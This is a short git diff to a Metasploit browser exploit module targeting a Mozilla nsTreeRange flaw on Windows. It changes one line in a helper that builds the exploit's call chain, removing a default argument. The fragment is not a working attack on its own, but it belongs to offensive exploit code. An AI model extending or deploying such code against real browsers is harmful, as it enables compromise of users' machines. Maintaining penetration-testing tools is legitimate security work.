diff --git a/modules/exploits/windows/browser/mozilla_nstreerange.rb b/modules/exploits/windows/browser/mozilla_nstreerange.rb index a8f3357280..ea2cfdffc5 100644 --- a/modules/exploits/windows/browser/mozilla_nstreerange.rb +++ b/modules/exploits/windows/browser/mozilla_nstreerange.rb @@ -148,7 +148,7 @@ class Metasploit3 < Msf::Exploit::Remote callchain = [] # Adding calls by hand is tedious, look at the bottom for an explanation of these values - add_call = Proc.new {|offset, arg1, arg2, direct = false| + add_call = Proc.new { |offset, arg1, arg2, direct | next_offset = base_offset + (callchain.flatten.length*4) callchain[-1][2] = next_offset if callchain.length > 0 # connect new frame to last one